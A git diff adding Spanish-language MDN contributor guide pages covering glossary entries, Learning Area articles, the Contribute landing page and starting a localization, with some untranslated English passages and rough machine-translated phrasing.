+<h3 id="Paso_1_Escribir_un_resumen">Paso 1: Escribir un resumen</h3>
+
+<p>El primer párrafo de cualquiera de las páginas del glosario es una descripción simple y corta del término, preferentemente de no más de una o dos oraciones. Asegúrate de que cualquiera que esté leyendo el glosario debe de poder entender la definición del término inmediatamente.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Por favor no copies y pegues definiciones de cualquier otro sitio (especialmente no de la Wikipedia, ya que su rango de licencias es más pequeño, y lo hace incompatible con MDN). Es realmente importante que el contenido sea simple y fácil de entender. <span lang="es">Merece la pena dedicarle algo de tiempo en lugar de robar contenido a ciegas. Este glosario debería ser contenido nuevo útil, no cosas repetidas de cualquier otro sitio.</span></p>
+</div>
+
+<p>Los enlaces a la entrada del glosario usarán esos resúmenes en sus tooltips, de tal forma que los lectores puedan ver las definiciones sin navegar fuera de la página donde se encuentran. (Ver más abajo como insertar enlaces a entradas del glosario con la macro \{{Glossary}} .)</p>
+
+<p>Si debes, tu puedes añadir algún párrafo extra, pero es muy fácil verte escribiendo un artículo entero. Escribir un artículo completo está bien, pero por favor no lo pongas en el glosario. Si no estás seguro de dónde poner tu artículo, sienteté libre de <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">discutirlo</a>.</p>
+
+<h3 id="Paso_2_Extenderse_con_los_enlaces">Paso 2: Extenderse con los enlaces</h3>
+
+<p>Finalmente, una entrada al glosario debería terminar siempre con una sección "Aprender más" . Esta sección debería contener enlaces para ayudar al lector a prograsar: descubrir nuevos detalles, aprender a usar la tecnología relevante, etc.</p>
+
+<p>Recomendamos que ordenes los enlaces al menos en estos tres grupos:</p>
+
+<p> </p>
+
+<p>Esta sección es donde se puede escribir una descripción más detallada. En esta sección no hay que dudar en explicar todos los detalles necesarios, proveer algún contexto o detalles históricos interesantes, etc. Depende de usted. Lo que hay que recordar es que debe de enfocarse en conocimiento general en lugar de en detalles técnicos. Si desea escribir en detalles técnicos, es mejor escribir un artículo regular en MDN. La intención del glosario es proveer información a la audiencia general, así que un principiante debe de poder comprender esta sección.</p>
+
+<p>As an example, take a look at the "{{Glossary("JavaScript")}}" term definition.</p>
+
+<h3 id="Step_3_Open_up_with_links">Step 3: Open up with links</h3>
+
+<p>Finally, a glossary entry should always end with a "Know more" section. This section should contain links to help the reader move forward: discovering more details, learning to use the relevant technology, and so on.</p>
+
+<p>We recommend that you categorize the links in at least these three categories:</p>
+
+<dl>
+ <dt>General knowledge</dt>
+ <dd>Links that provide more general information; for example, a link to <a href="http://wikipedia.org/">Wikipedia</a> is a good starting point.</dd>
+ <dt>Technical reference</dt>
+ <dd>Links to more in-depth technical information. These links can be to pages on MDN or elsewhere on the Internet.</dd>
+ <dt>Learn about it</dt>
+ <dd>Links to tutorials, exercises, or any other teaching materials that can directly help the reader learn to use the technology behind the term being defined.</dd>
+</dl>
+
+<h2 id="Suggested_terms">Suggested terms</h2>
+
+<p>Do you want to contribute but you don't know which terms need to be defined? Here's a list of suggestions. Click one and get started!</p>
+
+<p>{{GlossaryList({"terms":["ARIA","Array","ATAG","Asynchronous","BiDi","Blink","Block","CalDAV","Call stack","CardDAV","Constant","Constructor","Content type","Closure","CORS","CSRF","Control flow","Character","Crawler","DNS","Doctype","Domain","DTD","Dynamic typing","ECMA","Element","Entity","Exception","Adobe Flash","FTP","Host","HTTP","Hyperlink","Hypertext","I18N","Identifier","IDL","MS Internet Explorer","IETF","IIFE","Immutable","Internationalization","IndexedDB","Instance","Internet","IP address","IPv4","Keyword","Locale","Localization","ltr","MathML","Method","Microsoft Internet Explorer","MIME type","Mobile First","Mozilla Firefox","Netscape Navigator","NAT","Native","Null","OOP","Opera Browser","Operand","Operator","Parameter","Parser","PDF","Presto","property","Protocol","Prototype","Pseudo-class","Pseudo-element","RDF","Recursion","Reflow","Regular expression","Rendering engine","Responsive design","REST","rtl","Scope","CSS Selector","Server","SSL","Stacking context","State machine","Statement","STUN","Synchronous","Tag","TLS","Trident","TURN","Type","Value","Variable","Wrapper"], "filter":"notdefined", "css":"multiColumnList"})}}</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/es/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html
new file mode 100644
index 0000000000..05d72dd7f7
--- /dev/null
+++ b/files/es/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html
@@ -0,0 +1,106 @@
+---
+title: Cómo escribir un artículo para ayudar a las personas a aprender sobre la Web.
+slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
+tags:
+  - Aprender
+  - Como
+  - Guía
+  - MDN Meta
+translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
+---
+<div>{{MDNSidebar}}</div>
+
+<p>El área de aprendizaje de MDN es nuestro hogar para artículos que presentan conceptos web a nuevos desarrolladores. Debido a que su contenido está dirigido principalmente a principiantes, es un gran lugar para compartir tus conocimientos y ayudar a los recién llegados a conocer la web. Es importante asegurarse de que los nuevos desarrolladores puedan seguir este contenido, por lo que le prestamos especial atención.</p>
+
+<p>Este artículo explica cómo escribir páginas para el <a href="/en-US/docs/Learn">Área de aprendizaje</a>.</p>
+
+<h2 id="Cómo_escribir_un_artículo_en_el_Área_de_aprendizaje">Cómo escribir un artículo en el Área de aprendizaje</h2>
+
+<p>Para comenzar a aportar tu conocimiento, simplemente haz clic en el botón verde grande, luego sigue los cinco pasos a continuación. Si estás buscando ideas, echa un vistazo al <a href="https://trello.com/b/LDggrYSV">tablero de Trello de nuestro equipo</a>.</p>
+
+<div class="align-center"><a class="button ignore-external mega positive" href="/en-US/docs/new?parent=111819">Escribe un nuevo artículo</a></div>
+
+<p>Este artículo podría no terminar exactamente en el lugar correcto, pero al menos está en MDN. Si necesitas hablar con alguien para que lo trasladen al lugar correcto, por favor <a href="/es/docs/Learn#Contact_us">contáctanos</a>.</p>
+
+<h3 id="Paso_1_Escribe_en_dos_líneas">Paso 1: Escribe en dos líneas</h3>
+
+<p>La primera oración de tu artículo debe resumir qué tema vas a cubrir y la segunda debe entrar en algunos detalles más sobre los elementos que pondrías en el artículo. Por ejemplo:</p>
+
+<div class="summary">
+<p>Mientras {{glossary("HTML")}} los archivos contienen contenido estructurado, {{Glossary("CSS")}}, otra tecnología web, hace que el contenido se vea como tú quieres. En este artículo vamos a cubrir cómo funciona esta tecnología y cómo escribir tu propio ejemplo básico.</p>
+</div>
+
+<p>Observa cómo el ejemplo explica brevemente que CSS es una tecnología web central que se usa para diseñar páginas. Eso es suficiente para que el lector tenga una idea bastante buena de lo que cubre el artículo.</p>
+
+<p>Debido a que los artículos del Área de aprendizaje se dirigen principalmente a los principiantes, cada artículo debe cubrir un tema directo para no abrumar al lector con demasiada información nueva. Si no puedes resumir el artículo en una oración, ¡podrías estar intentando hacer demasiado en un artículo!</p>
+
+<h3 id="Paso_2_Agregar_un_cuadro_superior">Paso 2: Agregar un cuadro superior</h3>
+
+<p>Luego, agrega un cuadro superior para ayudar a los lectores a orientarse sobre dónde se encuentran en el proceso de aprendizaje. Aquí hay un ejemplo de un cuadro superior de <a href="/en-US/docs/Learn/Understanding_URLs">"Entendiendo las URLs y su estructura"</a>. Puedes usar este artículo como modelo cuando escribas tu propio artículo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Primero necesitas saber<a class="new" href="/es/docs/Learn/How_the_Internet_works"> cómo funciona Internet</a>, <a class="new" href="/es/docs/Learn/What_is_a_Web_server">qué es un servidor web</a>  y <a class="new" href="/es/docs/Learn/Understanding_links_on_the_web">los conceptos detras de los enlaces de la web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprenderás qué es una URL y cómo funciona en la web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>Requisitos previos</dt>
+ <dd>¿Qué debe saber ya el lector para seguir el artículo? Cuando sea posible, haz de cada requisito previo un enlace a otro artículo del Área de aprendizaje que cubra el concepto (a menos que sea un artículo realmente básico que no requiere conocimiento previo).</dd>
+ <dt>Objetivos</dt>
+ <dd>Esta sección explica brevemente lo que el lector aprenderá a lo largo del artículo. Esto es un poco diferente al de una sola línea; (el one-liner resume el tema del artículo), mientras que la sección de objetivos establece específicamente lo que el lector puede esperar lograr en el transcurso del artículo.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota:</strong> Para crear esta tabla, puedes copiar y pegar la tabla del ejemplo anterior o usar la herramienta de tabla del editor de MDN. Si eliges usar la herramienta de tabla, tienes que agregar específicamente la clase CSS <code>learn-box</code> además de la clase predeterminada <code>standard-table</code>.Para hacer esto, cuando crees o edites las propiedades de la tabla, ve al panel "Avanzado" y configura el campo <strong>Stylesheet Classes</strong> a "<code>standard-table learn-box</code>".</p>
+</div>
+
+<h3 id="Paso_3_Escribir_una_descripción_completa">Paso 3: Escribir una descripción completa</h3>
+
+<p>A continuación, escribe una descripción más larga que ofrezca una visión más completa del artículo, destacando los conceptos más importantes. ¡No olvides explicar por qué el lector debe tomarse el tiempo para aprender este tema y leer tu artículo!</p>
+
+<h3 id="Paso_4_Cavar_más_profundo">Paso 4: Cavar más profundo</h3>
+
+<p>Cuando hayas terminado con todo eso, finalmente puedes sumergirte profundamente en el tema. Puedes estructurar esta parte de tu artículo como desees (aunque no dudes en consultar nuestra <a href="/en-US/docs/MDN/Contribute/Style_guide">guía de estilo</a>). ¡Esta es tu oportunidad para brillar! Entra en detalles explicando el tema sobre el que estás escribiendo. Proporciona enlaces a la documentación de referencia completa, explica cómo funciona la tecnología en detalle, brinda detalles de sintaxis y uso, etc. ¡Tú decides!</p>
+
+<p>Como guía, aquí hay algunos consejos de escritura para principiantes:</p>
+
+<ul>
+ <li>Centrarse en un solo tema. Si sientes que necesitas cubrir otros temas, significa que te estás perdiendo un artículo de requisito previo o debes dividir tu artículo en más de uno.</li>
+ <li>Usa un español simple. Evita los términos técnicos cuando puedas o al menos defínelos y haz un enlace a sus entradas del <a href="/es/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary#How_to_use_the_.7B.7BGlossary.7D.7D_macro">glosario</a> cuando corresponda.</li>
+ <li>Incluye ejemplos sencillos para que los conceptos teóricos sean más fáciles de entender. Muchas personas aprenden mejor con el ejemplo. En lugar de escribir artículos académicos, queremos que los principiantes sigan el texto fácilmente.</li>
+ <li>Las ayudas visuales a menudo pueden hacer que las cosas sean más fáciles de digerir y transportar información adicional, así que siéntase libre de usar imágenes, diagramas, videos y tablas. Si está utilizando diagramas o cuadros que incluyen texto, le recomendamos que utilice {{Glossary("SVG")}} para que nuestros equipos de traducción puedan localizar el texto.</li>
+</ul>
+
+<p>Eche un vistazo a las primeras secciones de nuestras <a href="/es/docs/Learn/JavaScript/Building_blocks/Functions">Funciones - Bloques de código reutilizables</a> para algunas buenas secciones descriptivas.</p>
+
+<h3 id="Paso_5_Proporcionar_material_de_aprendizaje_activo">Paso 5: Proporcionar material de "aprendizaje activo"</h3>
+
+<p>Para ilustrar el artículo y ayudar al lector a comprender mejor lo que están aprendiendo, asegúrese de proporcionar ejercicios, tutoriales y tareas que cumplir. Al hacer que utilicen y experimenten de forma activa y práctica con los conceptos que explica su artículo, puede ayudar a "bloquear" la información en sus cerebros.</p>
+
+<p>Puede elegir incluir los ejemplos directamente en la página como <a href="/en-US/docs/MDN/Contribute/Structures/Live_samples">muestras en vivo</a>, o <a href="/en-US/docs/MDN/Contribute/Editor/Links">vincularlos</a> si realmente no funcionan como una muestra en vivo. Si está interesado en ayudar a crear estos valiosos materiales, lea el artículo <a href="/es/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Cree un ejercicio interactivo para ayudar a aprender la web</a>.</p>
+
+<p>Si no puede proporcionar enlaces a materiales de aprendizaje activos existentes (no sabe de ninguno o no tiene tiempo para crearlos), debe agregar la etiqueta{{Tag("NeedsActiveLearning")}}  al artículo. De esa manera, otros colaboradores pueden encontrar artículos que necesitan materiales de aprendizaje activo y quizás ayudarlo a encontrarlos.</p>
+
+<p>Eche un vistazo a <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Simple_selectors#Active_learning_Selecting_different_elements">Aprendizaje activo</a>: seleccione diferentes elementos para un ejercicio de aprendizaje interactivo en vivo, o <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Active_learning_Playing_with_scope">Aprendizaje activo juegue</a> con posibilidades para un estilo diferente de ejercicio que les exija descargar una plantilla localmente y modificarla siguiendo los pasos proporcionados.</p>
+
+<h3 id="Paso_6_Obtenga_el_artículo_revisado_y_póngalo_en_el_menú_de_navegación_del_Área_de_aprendizaje">Paso 6: Obtenga el artículo revisado y póngalo en el menú de navegación del Área de aprendizaje</h3>
+
+<p>Después de que hayas escrito tu artículo, avísanos para que podamos echarle un vistazo, hacer una revisión y sugerir mejoras. Una vez más, consulte nuestra sección <a href="/en-US/docs/Learn#Contact_us">Contáctenos</a> para conocer las mejores maneras de comunicarse.</p>
+
+<p>En el menú de navegación principal del Área de aprendizaje. Este menú es generado por la <a href="/en-US/docs/Template:LearnSidebar">macro Barra de aprendizaje</a>, que necesita privilegios especiales para editar, así como una vez más, hable con uno de nuestro equipo sobre cómo agregarlo.</p>
+
+<p>Al menos debe agregarlo a su página. Esto se hace agregando la llamada a la macro \{{LearnSidebar}} en un párrafo en la parte superior de su página.</p>
+
+<h2 id="Artículos_sugeridos">Artículos sugeridos</h2>
+
+<p>¿Así es que quieres contribuir?</p>
+
+<p>El equipo del Área de Aprendizaje Mantiene ONU Tablero de <a href="https://trello.com/b/LDggrYSV">Trello</a> las ideas Con de Artículos para Escribir. ¡Siéntete libre de elegir uno y ponte a trabajar!</p>
diff --git a/files/es/mdn/contribute/index.html b/files/es/mdn/contribute/index.html
new file mode 100644
index 0000000000..ce84773d87
--- /dev/null
+++ b/files/es/mdn/contribute/index.html
@@ -0,0 +1,70 @@
+---
+title: Contribuir al MDN
+slug: MDN/Contribute
+tags:
+  - Documentación
+  - Guía
+  - MDN
+  - NeedTranslate
+  - TopicStub
+translation_of: MDN/Contribute
+---
+<div>{{MDNSidebar}}</div>
+
+<p>¡Bienvenido! Al visitar esta página, has dado el primer paso para convertirte en un colaborador de MDN. Las guías aquí cubren todos los aspectos de cómo contribuir al MDN, incluyendo las guías de estilo, guías para el uso de nuestro editor, herramientas y mucho más.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Guías_de_Colaborador">Guías de Colaborador</h2>
+
+<dl>
+ <dt><a href="/es/docs/MDN/Comenzando">Primeros pasos</a></dt>
+ <dd>Una guía de inicio rápido para crear y hacer tu primera contribución.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Style_guide">Guía de contenido y estilo </a></dt>
+ <dd>La guía de contenido y estilo de MDN proporciona detalles sobre estilo de escritura, diseño de página y estilos de contenido para que el contenido que escribes encaje en el resto del contenido del MDN.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Editor">Guía de editor</a></dt>
+ <dd>Una guía completa para usar el editor del MDN.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Reviewing_articles">Revisión de los artículos</a></dt>
+ <dd>Una guía para la realización de las revisiones técnicas y editoriales del contenido de los artículos, para ayudarnos a garantizar que todo el contenido de MDN es tan útil y fácil de leer como debe ser.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Conventions">Terminología y convenciones </a></dt>
+ <dd>Nuestra guía de terminología y convenciones proporciona información que puedes utilizar para asegurarte de que utilizas la terminología correcta al describir las cosas.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Community">Trabajar con la comunidad MDN</a></dt>
+ <dd>Una guía para trabajar con nuestra comunidad, la búsqueda de ayuda, la conexión con las personas y respuestas a las preguntas que surgen mientras contribuyes a MDN.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/FAQ">Preguntas frecuentes </a></dt>
+ <dd>Respuesta y consejos para las dudas más comunes acerca de contribuir al MDN.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/MDN/Kuma/Contributing">Contribuir a Kuma</a></dt>
+ <dd>Una guía para contribuir al proyecto Kuma. Kuma es la plataforma que impulsa el sitio Web MDN</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="Cómo_hacerlo">Cómo hacerlo</h2>
+
+<p>Nuestra <a href="/en-US/docs/MDN/Contribute/Howto">guía cómo hacerlo</a> proporciona instrucciones paso a paso para ayudarle a realizar tareas específicas cuando contribuye al MDN.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Document_a_CSS_property">Modo de documentar una propiedad CSS</a></dt>
+ <dd>Una guía para escribir documentos con propiedades CSS. Todos los documentos de propiedad CSS deben coincidir con el estilo y el diseño descrito en este artículo.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Tag">Cómo etiquetar páginas correctamente</a></dt>
+ <dd>Esta guía de etiquetado de páginas proporciona información acerca de nuestras normas de etiquetado, incluyendo listas de las etiquetas que tienen un significado estándar en MDN. Siguiendo esta guía te asegurarás de que su contenido esté correctamente categorizado, con mayor facilidad de búsqueda y que nuestro mecanismo de filtrado de búsqueda funciona correctamente con sus artículos.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Interpret_specifications">Cómo interpretar las especificaciones </a></dt>
+ <dd>Esta guía te ayudará a interpretar correctamente las especificaciones estándar de la Web. Ser capaz de leer éstos, pueden ser una forma de arte y saber cómo hacerlo te ayudará a producir una mejor documentación.</dd>
+</dl>
+
+<h2 id="Localización">Localización</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/MDN/Contribute/Localize/Tour">Localización visita guiada </a></dt>
+ <dd>Esta visita guiada te enseñará a localizar contenidos en MDN.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Localize/Guide">Guía de localización </a></dt>
+ <dd>Esta guía proporciona información sobre el proceso de localización de los contenidos MDN.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Localize/Localization_projects">Proyectos de localización</a></dt>
+ <dd>Encuentra el proyecto de localización para tu idioma o si no hay uno, ¡Aprende cómo iniciar uno nuevo!</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/localize/index.html b/files/es/mdn/contribute/localize/index.html
new file mode 100644
index 0000000000..49731d7387
--- /dev/null
+++ b/files/es/mdn/contribute/localize/index.html
@@ -0,0 +1,31 @@
+---
+title: Localización en MDN
+slug: MDN/Contribute/Localize
+tags:
+  - Documentación
+  - Localización
+  - MDN
+  - Necesita traducción
+  - Proyecto MDC
+translation_of: MDN/Contribute/Localize
+---
+<div>{{MDNSidebar}}</div><p>MDN es usado por personas de todo el mundo como referencia y guía de las tecnologias Web, como así tambien de los interiores de Firefox. Nuestras comunidades de localización son una parte clave del proyecto Mozilla; su trabajo de traducción y localizacion de nuestra documentación ayuda a personas de todo el mundo a desarrollar para la Web abierta. Si quieres aprender más acerca de nuestros equipos de localización, únete a uno de nuestros equipos, o quizas quieres comenzar una nueva localización, éste es el lugar para comenzar.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Herramientas_de_localización">Herramientas de localización</h2>
+
+<p>Se encuentran muchisimas herramientas útiles que usaras durante el trabajo de localización:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim" title="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">Verbatim</a></dt>
+ <dd>Utilízelo para relizar traducciones de frases a travez de multiples proyectos Mozilla, incluye una interface de de usuario para MSDN (como así también una interface de usuario para Firefox).</dd>
+ <dt><a href="http://transvision.mozfr.org/" title="http://transvision.mozfr.org/">Transvision</a></dt>
+ <dd>Una utilidad proveida por Mozilla Francia, la cual te permite realizar búsquedas por ocurrencias de frases en una localización en Inglés, encontrando cualquier traducción a otro idioma en una localización de destino a lo largo de todo el código fuente de Mozilla. Es útil para encontrar la traducción preferida para palabras o frases.</dd>
+</dl>
+
+<h2 id="Vea_ademas">Vea ademas</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Localization" title="/en-US/docs/Mozilla/Localization">Localización en Mozilla</a></li>
+</ul>
diff --git a/files/es/mdn/contribute/localize/iniciar_una_localizacion/index.html b/files/es/mdn/contribute/localize/iniciar_una_localizacion/index.html
new file mode 100644
index 0000000000..f0596fa409
--- /dev/null
+++ b/files/es/mdn/contribute/localize/iniciar_una_localizacion/index.html
@@ -0,0 +1,108 @@
+---
+title: Iniciar una nueva localización MDN
+slug: MDN/Contribute/Localize/Iniciar_una_localizacion
+tags:
+  - Documentación
+  - Guía
+  - I10n
+  - Localización
+  - MDN Meta
+translation_of: MDN/Contribute/Localize/Starting_a_localization
+---
+<div>{{MDNSidebar}}</div><p>Las localizaciones de contenido MDN ayudan a extender el alcance de MDN a muchos más desarrolladores web y potenciales desarrolladores web que simplemente aquellos que pueden leer inglés. Por lo tanto, las localizaciones son una parte vital de lograr la misión de MDN.</p>
+
+<p>Las solicitudes de nuevas localizaciones en MDN se evalúan caso por caso y deben cumplir con algunos requisitos mínimos. Otros factores que se consideran incluyen el número de hablantes de la lengua, y la proporción de ese grupo que también leer Inglés. No tenemos reglas estrictas sobre estos números, pero se dará prioridad a los locales que amplíen significativamente el alcance de MDN. Un idioma con una gran población de hablantes que no leen inglés tendrá mayor prioridad que uno con una pequeña población de oradores, donde muchos de ellos hablan inglés.</p>
+
+<h2 id="Criterios_minimos">Criterios minimos</h2>
+
+<p>Los criterios mínimos para agregar un entorno regional a MDN son:</p>
+
+<ul>
+ <li>La esixtencia una comunidad de localización de Mozilla activa para la configuración regional fuera de MDN.</li>
+ <li>Un líder de localización designado para el entorno local se ha comprometido a dirigir el esfuerzo de localización.</li>
+ <li>La configuración regional de MDN se ha agregado en Pontoon y la comunidad ha traducido al menos el 50% de las cadenas.</li>
+ <li>Un miembro central de la comunidad ha acordado orientar al líder de localización (basado en parte en los factores adicionales mencionados anteriormente, así como en las cargas de trabajo del equipo).</li>
+</ul>
+
+<h2 id="Proceso_para_iniciar_una_localización">Proceso para iniciar una localización</h2>
+
+<p>Iniciar una localización no es un evento único, sino un proceso con los siguientes pasos generales:<br>
+  </p>
+
+<ol>
+ <li>Ser miembro de una <a href="https://wiki.mozilla.org/L10n:Teams">Comunidad activa de localización Mozilla</a>. Si la comunidad de Mozilla para su entorno regional no está activa, trabaje en la creación de esa comunidad antes de expandirla para incluir MDN.</li>
+ <li> Comuníquese con la comunidad de MDN para compartir su intención de iniciar una nueva localización MDN. (Por ejemplo, únase a las <a href="/en-US/docs/MDN/Community/Conversations#Asynchronous_discussions">Listas de correo relacionadas con MDN</a>  y al canal IRC de <a href="irc://irc.mozilla.org/mdn" title="Join us on IRC">#mdn</a> en <a class="link-irc" href="irc://irc.mozilla.org">irc.mozilla.org</a>.) Los miembros principales de la comunidad de MDN, incluyendo el personal de MDN, pueden aconsejarle si su localidad propuesta parece ser un buen ajuste para MDN.</li>
+ <li>Agregue una sección para su idioma a la lista de <a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Localize/Project:Localization_Projects">proyectos de localización</a>,e incluya a cualquier otra persona que esté planeando trabajar en ella. .</li>
+ <li><a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;comment=&amp;component=Localization&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;flag_type-791=X&amp;flag_type-800=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Mozilla%20Developer%20Network&amp;qa_contact=website%40mdn.bugs&amp;rep_platform=All&amp;requestee_type-4=&amp;requestee_type-607=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=unspecified">Envíe un bug</a> en <a href="https://bugzilla.mozilla.org">Bugzilla </a>para solicitar la activación de su entorno local para MDN en Pontoon. Este error debe estar en la categoría "Mozilla Developer Network"&gt; "Localización". Un administrador de pontón debe realizar esta activación.</li>
+ <li>Trabaje con su comunidad de localización para traducir las cadenas de interfaz de usuario de MDN en Pontoon. No continúe con el siguiente paso hasta que haya traducido al menos el 50% de las cadenas. Mantenga la comunicación con la comunidad MDN sobre su progreso.</li>
+ <li><a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;comment=&amp;component=Localization&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;flag_type-791=X&amp;flag_type-800=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Mozilla%20Developer%20Network&amp;qa_contact=website%40mdn.bugs&amp;rep_platform=All&amp;requestee_type-4=&amp;requestee_type-607=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=unspecified">Envíe un bug</a> en <a href="https://bugzilla.mozilla.org">Bugzilla </a>para solicitar que se agregue la configuración regional a la lista de configuraciones locales disponibles en MDN. (El mismo producto y categoría que el error en el Paso 4) Indique quién tomará el papel de líder de localización de MDN, para ser un punto de contacto entre el grupo de localización de MDN y el resto de la comunidad de MDN. Normalmente, esta es la persona que envía el error. Para que su solicitud sea aceptada, un miembro del equipo central de MDN debe estar dispuesto a ser el mentor del líder de localización, por lo que una buena comunicación hasta este punto será rentable si puede demostrar que:
+  <ol>
+   <li>Su comunidad de localización de Mozilla está activa y tiene la organización y el interés necesarios para mantener el trabajo en MDN.</li>
+   <li>Su local es un buen ajuste para MDN.</li>
+   <li> Como líder de localización, es fácil trabajar y responder a los comentarios.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Organización_de_un_proyecto_de_localización_Mecánica_MDN">Organización de un proyecto de localización: Mecánica MDN</h2>
+
+<p>La estructura básica de la jerarquía de páginas en cada una de las localizaciones de MDN debe ser esencialmente la misma. En general, debe intentar mantener la misma jerarquía de páginas que la configuración regional en-US (inglés), de modo que cada página de cada idioma corresponda a una página similar en cada localidad.</p>
+
+<p>Te invitamos a vincular a páginas locales externas, escribir tus propios artículos y traducir todo desde el wiki en inglés. Si decides escribir tus propios artículos, sería útil que pudieras proporcionar una traducción en inglés para el wiki en inglés para que luego pueda traducirse a todos los otros wikis localizados.</p>
+
+<p>Al agregar recursos locales, debe mantener un punto de vista neutral; Es decir, no debes promover una perspectiva en particular y, en lugar de ello, debes simplemente proporcionar los hechos de la mejor manera posible (ver información sobre la regla <a href="https://en.wikipedia.org/wiki/NPOV">NPOV</a>en Wikipedia). No debe enlazar a sitios comerciales (como cursos pagados, empresas de diseño web, etc.). Debe promover estándares abiertos y compatibilidad entre navegadores por métodos cerrados o propietarios siempre que sea posible.</p>
+
+<div class="note">
+<p>Se anima a los directores de equipo a que monitoreen el contenido de su localidad en busca de spam y otros materiales inapropiados y tomen medidas para eliminarlos o corregirlos.</p>
+</div>
+
+<p> Hay muchos consejos de varios equipos de traducción existentes; Usted debe sentirse libre de adoptar cualquiera de estas ideas que usted elija. Además, no dude en añadir sus propias sugerencias. Vea <a href="/profiles/traducción">esta plantilla</a> en el wiki español para ver un ejemplo.</p>
+
+<ul>
+ <li>Utilice una macro para incluir los artículos que necesitan ser traducidos en listas de artículos con una bandera o marcador junto a ellos que indica que el artículo aún no se ha traducido. Esta es una forma de anunciar artículos importantes que necesitan traducción. Vea esta plantilla en la versión en español de MDN para un ejemplo.</li>
+ <li>Utilice una macro para incluir los artículos que necesitan ser traducidos en listas de artículos con una bandera o marcador junto a ellos que indica que el artículo aún no se ha traducido. Esta es una forma de anunciar artículos importantes que necesitan traducción. Vea  <a href="/profiles/tradúceme">esta plantilla </a>en la versión en español de MDN para un ejemplo.</li>
+ <li>Utilice las banderas "Revisión técnica de necesidades" y "Revisión editorial de necesidades", para marcar los artículos que se han traducido, pero se deben revisar dos veces para verificar su exactitud técnica y gramatical.</li>
+ <li>Utilice la etiqueta "chatarra" para marcar las páginas que deben eliminarse. Dado que sólo los administradores tienen acceso a eliminar artículos, esto proporciona una manera de marcar que un artículo es obsoleto hasta que los administradores obtener la página eliminada.</li>
+ <li>Asegúrese de incluir las traducciones de estas páginas de "cómo" de los HOMBRES e incluya páginas adicionales según sea necesario para explicar las políticas y prácticas de su equipo de localización.</li>
+</ul>
+
+<p>Para encontrar ayuda con su proyecto, asegúrese de preguntar por la lista de distribución de dev-mdc, el canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> , y otras áreas de discusión relacionadas con MDN. Consulte "Únase a la comunidad de MDN" para obtener sugerencias para los canales de debate de la comunidad que le ayudarán a encontrar otros interesados en unirse a su equipo de localización.</p>
+
+<p>También puede encontrar otros interesados en ayudarle asistiendo a eventos de desarrollo Web locales, en su espacio de hackers local, y similares. ¡Séa creativo!</p>
+
+<h2 id="Organización_de_una_comunidad_de_localización">Organización de una comunidad de localización</h2>
+
